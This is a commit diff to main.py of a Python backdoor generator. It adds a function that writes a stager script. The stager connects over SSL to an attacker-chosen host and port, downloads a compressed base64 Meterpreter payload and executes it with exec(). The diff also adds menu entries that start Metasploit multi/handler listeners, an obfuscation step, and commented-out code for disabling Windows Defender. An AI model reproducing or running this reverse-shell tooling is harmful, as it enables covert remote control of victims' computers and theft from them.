Skip to content

Commit 56d9992

Browse files
committed
Update main.py
1 parent 0e3c7b6 commit 56d9992

File tree

1 file changed

+42
-2
lines changed

1 file changed

+42
-2
lines changed

main.py

Lines changed: 42 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -227,6 +227,34 @@ def main():
227227
ina.close
228228
print('(*) Generated Backdoor and saved as '+name)
229229
print('After deployment interact with this Backdoor through this module in metasploit python/meterpreter/reverse_http')
230+
def gen_rev_ssl_tcp():
231+
global name
232+
name = input('Please enter the name you wish to give your backdoor (do NOT add extention such as .py or .exe): ')
233+
host = input('Please enter the ip you wish the backdoor to connect back to: ')
234+
port = input('Please enter the port number you wish the backdoor to listen on (recomended between 1024-65353): ')
235+
with open(name, 'a+') as ina:
236+
ina.write('port = '+str(port)+'\n')
237+
ina.write("\n")
238+
ina.write('hototo = "'+str(host)+'"')
239+
b = '''
240+
import zlib,base64,ssl,socket,struct,time
241+
for x in range(10):
242+
try:
243+
so=socket.socket(2,1)
244+
so.connect((hototo,port))
245+
s=ssl.wrap_socket(so)
246+
break
247+
except:
248+
time.sleep(10)
249+
l=struct.unpack('>I',s.recv(4))[0]
250+
d=s.recv(l)
251+
while len(d)<l:
252+
d+=s.recv(l-len(d))
253+
exec(zlib.decompress(base64.b64decode(d)),{'s':s})
254+
'''
255+
ina.write(b)
256+
ina.close
257+
print('(*) Generated Backdoor and saved as '+name)
230258
def postgen():
231259
opt_obf = input('Do you want to obfuscate the rat (recommended) (y/n): ')
232260
if opt_obf == 'y':
@@ -251,7 +279,8 @@ def postgen():
251279
1. Create Bind Backdoor (opens a port on the victim machine and waits for you to connect)
252280
2. Create Reverse Shell (TCP (Encryption not recommended)) (Connects back to you)
253281
3. Create Reverse Meterpreter (HTTP) (Connects back to you)
254-
4. Open a listener
282+
4. Create Encrypted TCP Meterpreter (SSL) connects back to you
283+
5. Open a listener
255284
256285
257286
""")
@@ -266,10 +295,21 @@ def postgen():
266295
if nscan == "3":
267296
gen_rev_http()
268297
postgen()
269-
if nscan == '4':
298+
port=input('Please enter the port you want to listen on: ')
299+
a = "msfconsole -q -x 'use multi/handler;set payload python/meterpreter/reverse_http;set LHOST 0.0.0.0; set LPORT "+port+"; exploit'"
300+
os.system(a)
301+
if nscan == "4":
302+
gen_rev_ssl_tcp()
303+
postgen()
304+
port=input('Please enter the port you want to listen on: ')
305+
a = "msfconsole -q -x 'use multi/handler;set payload python/meterpreter/reverse_tcp_ssl;set LHOST 0.0.0.0; set LPORT "+port+"; exploit'"
306+
os.system(a)
307+
if nscan == '5':
270308
disable_defender = False
271309
#opt_mods = input('Do you want me to disable Windows Defender as soon as you connect? (y/n): ')
272310
#if opt_mods == 'y':
273311
# disable_defender = True
274312
port = int(input('Please enter the port u want to listen on: '))
275313
listen('0.0.0.0', port)
314+
else:
315+
print('Please select a vaild option')

0 commit comments

Comments
 (0)